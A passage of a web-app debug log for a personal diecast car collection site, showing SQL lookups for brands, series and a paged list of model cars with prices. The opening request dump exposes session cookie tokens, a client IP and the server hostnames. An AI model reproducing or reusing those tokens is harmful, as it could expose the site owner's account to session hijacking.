    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3APFwTOWWMWw1DiIVFMzGNmA%3D%3D.86EaewkY1yX7LBY%2Bfdxj2Q3EkKG4hEw%2Be4HTjLby0oJG5K2EqEHw9JgCh512qEQdtnltcvOheXih0395WS65%2FGENwougPxjBkLvJs5GmQYi%2FiU245qnFhsPkDuICMgGNsyvoOUqvkAFsrkDT%2B3MI6DQQagkD%2FeltUcWD%2BLt9X0k%3D.356DpcZHozSamVMkOGixMXsKGXfcaIJwLYNlOsCNJa0; your_r_git.sid=s%3AySm6sIjj5ojFFbTPuDgtdD6lBUl4Svyd.hK8ZD1URCa8E0YqDnIAYRkqRDMHQLVl9Z0z%2B00%2BNcco',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-01-30T10:36:14.323Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:36:14.324Z server-connect:app Executing action step identify
2026-01-30T10:36:14.324Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.324Z server-connect:output identity: 1
2026-01-30T10:36:14.324Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.324Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:14.324Z server-connect:output restrict: undefined
2026-01-30T10:36:14.324Z server-connect:app Executing action step select
2026-01-30T10:36:14.324Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:36:14.325Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2026-01-30T10:36:14.329Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:36:14.330Z server-connect:router Serving serverConnect /api/diecast/list
2026-01-30T10:36:14.331Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-01-30T10:36:14.331Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-01-30T10:36:14.331Z server-connect:app Executing action step identify
2026-01-30T10:36:14.331Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.331Z server-connect:output identity: 1
2026-01-30T10:36:14.332Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:14.332Z server-connect:app Executing action step identify
2026-01-30T10:36:14.332Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.332Z server-connect:output identity: 1
2026-01-30T10:36:14.332Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.332Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:14.332Z server-connect:app Executing action step identify
2026-01-30T10:36:14.332Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.333Z server-connect:output identity: 1
2026-01-30T10:36:14.333Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.333Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:14.333Z server-connect:output restrict: undefined
2026-01-30T10:36:14.333Z server-connect:app Executing action step select
2026-01-30T10:36:14.333Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:36:14.333Z server-connect:app Executing action step identify
2026-01-30T10:36:14.333Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:14.334Z server-connect:output identity: 1
2026-01-30T10:36:14.334Z server-connect:app Executing action step restrict
2026-01-30T10:36:14.334Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:14.335Z server-connect:output restrict: undefined
2026-01-30T10:36:14.335Z server-connect:app Executing action step paged
2026-01-30T10:36:14.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-01-30T10:36:14.336Z server-connect:output restrict: undefined
2026-01-30T10:36:14.336Z server-connect:app Executing action step select
2026-01-30T10:36:14.336Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-01-30T10:36:14.337Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2026-01-30T10:36:14.337Z server-connect:output restrict: undefined
2026-01-30T10:36:14.337Z server-connect:app Executing action step select
2026-01-30T10:36:14.338Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:36:14.338Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2026-01-30T10:36:14.341Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-01-30T10:36:14.341Z server-connect:app Executing action step select
2026-01-30T10:36:14.341Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:36:14.342Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-01-30T10:36:14.342Z server-connect:app Executing action step select
2026-01-30T10:36:14.343Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-01-30T10:36:14.344Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-01-30T10:36:14.345Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-01-30T10:36:20.625Z server-connect:router Serving serverConnect /api/diecast/list
2026-01-30T10:36:20.625Z server-connect:app Executing action step identify
2026-01-30T10:36:20.625Z server-connect:app options: { provider: 'security' }
2026-01-30T10:36:20.625Z server-connect:output identity: 1
2026-01-30T10:36:20.625Z server-connect:app Executing action step restrict
2026-01-30T10:36:20.625Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-01-30T10:36:20.626Z server-connect:output restrict: undefined
2026-01-30T10:36:20.626Z server-connect:app Executing action step paged
2026-01-30T10:36:20.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
